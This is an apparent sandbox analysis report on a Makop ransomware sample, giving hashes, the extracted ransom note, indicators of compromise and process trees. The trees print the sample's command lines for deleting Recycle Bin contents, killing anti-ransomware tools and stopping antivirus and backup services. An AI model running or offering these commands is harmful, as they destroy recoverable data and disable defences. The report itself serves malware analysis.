makop | 1136907e76399f1d76694ee9c540b387ed6a5b12340b60f3fabfc183bca457df

Analysis

max time kernel
66s
max time network
33s
platform
windows7_x64
resource
win7v20210408
submitted
23-04-2021 13:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

net_shares.exe
Size

114KB
MD5

07807a9e2aeb0ccc03d88debebcdd2eb
SHA1

13a93e6e785d8f42f062b55fe5ea1ba9e0e139ab
SHA256

1136907e76399f1d76694ee9c540b387ed6a5b12340b60f3fabfc183bca457df
SHA512

1cc1ecab6047c7cc2e81b6b5a9266c25fd9d2a7d26865c0e7554882c0f28f47453fb3c6abc9a613f9af62cf4dd456d079da67897459c9f4d88adb7715547093a

Score

10^/10

makop discovery evasion ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Family

makop

Ransom Note

::: Greetings ::: Little FAQ: .1. Q: Whats Happen? A: Your files have been encrypted. The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? A: If you wish to decrypt your files you will need to pay in Bitcoins. .3. Q: What about guarantees? A: Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. .4. Q: How to contact with you? A: Please, write us to our qTOX account: 7BDD546F7524089A930B12F793F4C1D1B4470A15A4CBA85AA0DA6D030AFE2E48B8799204F004 You can learn about this way of communication and download it here: https://qtox.github.io/ Or use Bitmessage and write to our address: BM-2cUbGd124Dcs1Jdc5VfSa2GDMC1iaNTesC You can learn about this way of communication and download it here: https://wiki.bitmessage.org/ and here: https://github.com/Bitmessage/PyBitmessage/releases/ .5. Q: How will the decryption process proceed after payment? A: After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. .6. Q: If I don’t want to pay bad people like you? A: If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause only we have the private key. In practice - time is much more valuable than money. :::BEWARE::: DON'T try to change encrypted files by yourself! If you will try to use any third party software for restoring your data or antivirus solutions - please make a backup for all encrypted files! Any changes in encrypted files may entail damage of the private key and, as result, the loss all data. Key Identifier: Hp2bHm6JESUz+Xvf1IzuiHC4ygdrS/Rhu0Mu16x5G50sEfoOtA1R36MI0r3gYdEuNBZYYvq29+u51MdAwQm/HxqinyZtpamwkKt8R2UA8EbNA+TZ/L3YvaI/2ET3f/vhKEKJOxpj7ehAIsFQS2z+0FNJrc6uHMtMZC7vtppBH9PHzE0UrkJP/Dcq7kEfyJZ4+LmPQ/1V9ywqxsbIF3uxOOZFDFD+HsPd9dneN0yWeonDzma7r2M8794QH16aaYUoZu+59qf0FML86RnxCFWf699sceMMkT3VBt/5jMwxjfyIAgLanEYjza8OAi184ozXN8JOMBj2cDFIXbGG6dCWuVKSFuBdbQVveLgQuAIyLjIir2wcJTVFbDZ0UkzT914Yc6zujuaF0guu0JsiKzoAAQT7W6JExepNAhILRKTI/4ZNcC0E192zq0fGU3oR8YpxqHW9/z2tflJZw89KMdREETldqMZgtHgRO7FlwXYCLI6bAJXHuNFdVovaRpaPfEnTE+QA9D6TknURMsPvSd0xqNaAVH2djCr49wWLGR2N+kPuKwaSTZki5S0IC7DXfl4x1IekTTSPJqKIGhj4vdNllkjm+4VihEvTRwcebB7H0ri53hfr3ZHMQRCCx/nynZ8P2I1X2qw0WjjPuvwqIeupTT9hHXt4sIt3ytYYoTCZboI= PC Hardware ID: 40707513

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt

Family

makop

Ransom Note

Signatures

Makop
Ransomware family discovered by @VK_Intel in early 2020.
ransomware makop
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Drops startup file 1 IoCs

Processes:

net_shares.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk net_shares.exe
Modifies file permissions 1 TTPs 3 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

2492 icacls.exe
2200 icacls.exe
2124 icacls.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	net_shares.exe

pid	process
2492	icacls.exe
2200	icacls.exe
2124	icacls.exe

Drops file in Program Files directory 20 IoCs

Processes:

net_shares.exe

description	ioc	process
File opened for modification	C:\Program Files\ApproveJoin.M2V.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\ConnectComplete.mov.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\RestoreUndo.mp3.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\SubmitRepair.vsx.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\CompleteGrant.wmf.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\MoveDisable.wps.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\RedoEnable.png.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\WriteUse.ADTS.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\CompareExport.WTV.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\GrantExpand.xht.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\RenameResolve.bmp.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\RestartConnect.aifc.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\ResumeReceive.ini.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\SearchRestore.asf.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\UnprotectResize.sys.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\NewResolve.contact.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\ReadJoin.ini.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\RemoveLimit.midi.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\SwitchWait.rmi.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Program Files\UseInitialize.svgz.[ID-40707513].uo8bpy	net_shares.exe

Drops file in Windows directory 14 IoCs

Processes:

net_shares.exe

description	ioc	process
File opened for modification	C:\Windows\WindowsShell.Manifest	net_shares.exe
File opened for modification	C:\Windows\WindowsUpdate.log.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\PFRO.log.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\Professional.xml.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\setupact.log.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\Starter.xml.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\win.ini.[ID-40707513].uo8bpy	net_shares.exe
File created	C:\Windows\RESTORE_FILES_INFO.txt	net_shares.exe
File created	C:\Windows\bootstat.dat.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\DtcInstall.log.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\msdfmap.ini.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\system.ini.[ID-40707513].uo8bpy	net_shares.exe
File opened for modification	C:\Windows\TSSysprep.log.[ID-40707513].uo8bpy	net_shares.exe
File created	C:\Windows\WindowsShell.Manifest.[ID-40707513].uo8bpy	net_shares.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1620	taskkill.exe
2876	taskkill.exe
2916	taskkill.exe
3004	taskkill.exe
1648	taskkill.exe
2688	taskkill.exe
2704	taskkill.exe
1920	taskkill.exe
2200	taskkill.exe
1996	taskkill.exe
2488	taskkill.exe
3064	taskkill.exe
2156	taskkill.exe
280	taskkill.exe
452	taskkill.exe
2400	taskkill.exe
2384	taskkill.exe
2804	taskkill.exe
2384	taskkill.exe
2272	taskkill.exe
2660	taskkill.exe
2476	taskkill.exe
2900	taskkill.exe
956	taskkill.exe
2116	taskkill.exe
2820	taskkill.exe
512	taskkill.exe
892	taskkill.exe
1128	taskkill.exe
3008	taskkill.exe
1696	taskkill.exe
2260	taskkill.exe
2472	taskkill.exe
2980	taskkill.exe
1032	taskkill.exe
2340	taskkill.exe
2576	taskkill.exe
2404	taskkill.exe
3064	taskkill.exe
1512	taskkill.exe
2916	taskkill.exe
2700	taskkill.exe
2276	taskkill.exe
340	taskkill.exe
2104	taskkill.exe
3028	taskkill.exe
2508	taskkill.exe
2264	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1768 reg.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2440 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1080 PING.EXE

pid	process
1768	reg.exe

pid	process
2440	notepad.exe

pid	process
1080	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

net_shares.exe

pid	process
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe
1632	net_shares.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

net_shares.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1632	net_shares.exe
Token: SeDebugPrivilege	512	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeDebugPrivilege	2404	taskkill.exe
Token: SeDebugPrivilege	340	taskkill.exe
Token: SeDebugPrivilege	2272	taskkill.exe
Token: SeDebugPrivilege	3064	taskkill.exe
Token: SeDebugPrivilege	1512	taskkill.exe
Token: SeDebugPrivilege	892	taskkill.exe
Token: SeDebugPrivilege	2200	taskkill.exe
Token: SeDebugPrivilege	2660	taskkill.exe
Token: SeDebugPrivilege	1996	taskkill.exe
Token: SeDebugPrivilege	2104	taskkill.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeDebugPrivilege	1128	taskkill.exe
Token: SeDebugPrivilege	2476	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	3008	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	1648	taskkill.exe
Token: SeDebugPrivilege	956	taskkill.exe
Token: SeDebugPrivilege	2508	taskkill.exe
Token: SeDebugPrivilege	2472	taskkill.exe
Token: SeDebugPrivilege	2700	taskkill.exe
Token: SeDebugPrivilege	2688	taskkill.exe
Token: SeDebugPrivilege	2876	taskkill.exe
Token: SeDebugPrivilege	2276	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	2704	taskkill.exe
Token: SeDebugPrivilege	3064	taskkill.exe
Token: SeDebugPrivilege	2156	taskkill.exe
Token: SeDebugPrivilege	2820	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	2116	taskkill.exe
Token: SeDebugPrivilege	1032	taskkill.exe
Token: SeDebugPrivilege	280	taskkill.exe
Token: SeDebugPrivilege	452	taskkill.exe
Token: SeDebugPrivilege	2916	taskkill.exe
Token: SeDebugPrivilege	3004	taskkill.exe
Token: SeDebugPrivilege	1920	taskkill.exe
Token: SeDebugPrivilege	2264	taskkill.exe
Token: SeDebugPrivilege	2400	taskkill.exe
Token: SeDebugPrivilege	2340	taskkill.exe
Token: SeDebugPrivilege	2576	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeDebugPrivilege	2804	taskkill.exe
Token: SeDebugPrivilege	2816	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

net_shares.exe

pid process

1632 net_shares.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

net_shares.exe

pid process

1632 net_shares.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

net_shares.exenet.exenet.exenet.exe

description	pid	process	target process
PID 1632 wrote to memory of 512	1632	net_shares.exe	taskkill.exe
PID 1632 wrote to memory of 512	1632	net_shares.exe	taskkill.exe
PID 1632 wrote to memory of 512	1632	net_shares.exe	taskkill.exe
PID 1632 wrote to memory of 1732	1632	net_shares.exe	reg.exe
PID 1632 wrote to memory of 1732	1632	net_shares.exe	reg.exe
PID 1632 wrote to memory of 1732	1632	net_shares.exe	reg.exe
PID 1632 wrote to memory of 1768	1632	net_shares.exe	reg.exe
PID 1632 wrote to memory of 1768	1632	net_shares.exe	reg.exe
PID 1632 wrote to memory of 1768	1632	net_shares.exe	reg.exe
PID 1632 wrote to memory of 280	1632	net_shares.exe	schtasks.exe
PID 1632 wrote to memory of 280	1632	net_shares.exe	schtasks.exe
PID 1632 wrote to memory of 280	1632	net_shares.exe	schtasks.exe
PID 1632 wrote to memory of 1816	1632	net_shares.exe	cmd.exe
PID 1632 wrote to memory of 1816	1632	net_shares.exe	cmd.exe
PID 1632 wrote to memory of 1816	1632	net_shares.exe	cmd.exe
PID 1632 wrote to memory of 112	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 112	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 112	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 548	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 548	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 548	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 632	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 632	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 632	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1780	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1780	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1780	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 732	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 732	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 732	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1528	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1528	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1528	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1744	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1744	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1744	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 1584	1632	net_shares.exe	cmd.exe
PID 1632 wrote to memory of 1584	1632	net_shares.exe	cmd.exe
PID 1632 wrote to memory of 1584	1632	net_shares.exe	cmd.exe
PID 1632 wrote to memory of 752	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 752	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 752	1632	net_shares.exe	sc.exe
PID 1632 wrote to memory of 572	1632	net_shares.exe	netsh.exe
PID 1632 wrote to memory of 572	1632	net_shares.exe	netsh.exe
PID 1632 wrote to memory of 572	1632	net_shares.exe	netsh.exe
PID 1632 wrote to memory of 1128	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 1128	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 1128	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 1020	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 1020	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 1020	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 820	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 820	1632	net_shares.exe	net.exe
PID 1632 wrote to memory of 820	1632	net_shares.exe	net.exe
PID 1128 wrote to memory of 336	1128	net.exe	net1.exe
PID 1128 wrote to memory of 336	1128	net.exe	net1.exe
PID 1128 wrote to memory of 336	1128	net.exe	net1.exe
PID 1020 wrote to memory of 1660	1020	net.exe	net1.exe
PID 1020 wrote to memory of 1660	1020	net.exe	net1.exe
PID 1020 wrote to memory of 1660	1020	net.exe	net1.exe
PID 820 wrote to memory of 1792	820	net.exe	net1.exe
PID 820 wrote to memory of 1792	820	net.exe	net1.exe
PID 820 wrote to memory of 1792	820	net.exe	net1.exe
PID 1632 wrote to memory of 1492	1632	net_shares.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\net_shares.exe
"C:\Users\Admin\AppData\Local\Temp\net_shares.exe"
1⤵
- Drops startup file
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\system32\taskkill.exe
"taskkill" /F /IM RaccineSettings.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:512

C:\Windows\system32\reg.exe
"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
2⤵
PID:1732

C:\Windows\system32\reg.exe
"reg" delete HKCU\Software\Raccine /F
2⤵
- Modifies registry key
PID:1768

C:\Windows\system32\schtasks.exe
"schtasks" /DELETE /TN "Raccine Rules Updater" /F
2⤵
PID:280

C:\Windows\system32\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
2⤵
PID:1816

C:\Windows\system32\sc.exe
"sc.exe" config Dnscache start= auto
2⤵
PID:112

C:\Windows\system32\sc.exe
"sc.exe" config FDResPub start= auto
2⤵
PID:548

C:\Windows\system32\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:632

C:\Windows\system32\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:1780

C:\Windows\system32\sc.exe
"sc.exe" config SSDPSRV start= auto
2⤵
PID:732

C:\Windows\system32\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:1528

C:\Windows\system32\cmd.exe
"cmd.exe" /c rd /s /q D:\\$Recycle.bin
2⤵
PID:1584

C:\Windows\system32\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:1744

C:\Windows\system32\sc.exe
"sc.exe" config upnphost start= auto
2⤵
PID:752

C:\Windows\system32\netsh.exe
"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
2⤵
PID:572

C:\Windows\system32\net.exe
"net.exe" start Dnscache /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start Dnscache /y
3⤵
PID:336

C:\Windows\system32\net.exe
"net.exe" stop bedbg /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop bedbg /y
3⤵
PID:1660

C:\Windows\system32\net.exe
"net.exe" start FDResPub /y
2⤵
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start FDResPub /y
3⤵
PID:1792

C:\Windows\system32\net.exe
"net.exe" start SSDPSRV /y
2⤵
PID:1804

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start SSDPSRV /y
3⤵
PID:1648

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SQL_2008 /y
2⤵
PID:1492

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
3⤵
PID:1688

C:\Windows\system32\net.exe
"net.exe" start upnphost /y
2⤵
PID:1372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start upnphost /y
3⤵
PID:1920

C:\Windows\system32\net.exe
"net.exe" stop EhttpSrv /y
2⤵
PID:1580

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
3⤵
PID:900

C:\Windows\system32\netsh.exe
"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
2⤵
PID:1456

C:\Windows\system32\net.exe
"net.exe" stop MMS /y
2⤵
PID:1032

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MMS /y
3⤵
PID:544

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SQLEXPRESS /y
2⤵
PID:1116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
3⤵
PID:556

C:\Windows\system32\net.exe
"net.exe" stop ekrn /y
2⤵
PID:564

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ekrn /y
3⤵
PID:792

C:\Windows\system32\net.exe
"net.exe" stop mozyprobackup /y
2⤵
PID:1332

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
3⤵
PID:1660

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SYSTEM_BGC /y
2⤵
PID:828

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
3⤵
PID:544

C:\Windows\system32\net.exe
"net.exe" stop EPSecurityService /y
2⤵
PID:960

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
3⤵
PID:1588

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$VEEAMSQL2008R2 /y
2⤵
PID:1760

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
3⤵
PID:1752

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$TPS /y
2⤵
PID:1152

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPS /y
3⤵
PID:1780

C:\Windows\system32\net.exe
"net.exe" stop EPUpdateService /y
2⤵
PID:752

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
3⤵
PID:1128

C:\Windows\system32\net.exe
"net.exe" stop ntrtscan /y
2⤵
PID:1492

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
3⤵
PID:340

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$TPSAMA /y
2⤵
PID:792

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
3⤵
PID:452

C:\Windows\system32\net.exe
"net.exe" stop EsgShKernel /y
2⤵
PID:996

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
3⤵
PID:764

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$SQL_2008 /y
2⤵
PID:1340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
3⤵
PID:1692

C:\Windows\system32\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:380

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:1392

C:\Windows\system32\net.exe
"net.exe" stop klnagent /y
2⤵
PID:512

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop klnagent /y
3⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$VEEAMSQL2008R2 /y
2⤵
PID:1032

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
3⤵
PID:572

C:\Windows\system32\net.exe
"net.exe" stop VeeamCatalogSvc /y
2⤵
PID:340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
3⤵
PID:1260

C:\Windows\system32\net.exe
"net.exe" stop ESHASRV /y
2⤵
PID:1020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
3⤵
PID:1188

C:\Windows\system32\net.exe
"net.exe" stop SDRSVC /y
2⤵
PID:764

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
3⤵
PID:268

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
2⤵
PID:336

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
3⤵
PID:1696

C:\Windows\system32\net.exe
"net.exe" stop macmnsvc /y
2⤵
PID:1392

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
3⤵
PID:1804

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$VEEAMSQL2012 /y
2⤵
PID:668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
3⤵
PID:280

C:\Windows\system32\net.exe
"net.exe" stop FA_Scheduler /y
2⤵
PID:900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
3⤵
PID:1176

C:\Windows\system32\net.exe
"net.exe" stop VeeamCloudSvc /y
2⤵
PID:1580

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
3⤵
PID:1260

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$TPS /y
2⤵
PID:1512

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
3⤵
PID:556

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
2⤵
PID:684

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
3⤵
PID:1544

C:\Windows\system32\net.exe
"net.exe" stop masvc /y
2⤵
PID:1688

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop masvc /y
3⤵
PID:1152

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
2⤵
PID:1804

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
3⤵
PID:1528

C:\Windows\system32\net.exe
"net.exe" stop KAVFS /y
2⤵
PID:1584

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop KAVFS /y
3⤵
PID:828

C:\Windows\system32\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:764

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:792

C:\Windows\system32\net.exe
"net.exe" stop SQLWriter /y
2⤵
PID:1332

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
3⤵
PID:668

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$TPSAMA /y
2⤵
PID:564

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
3⤵
PID:1932

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
2⤵
PID:732

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
3⤵
PID:1752

C:\Windows\system32\net.exe
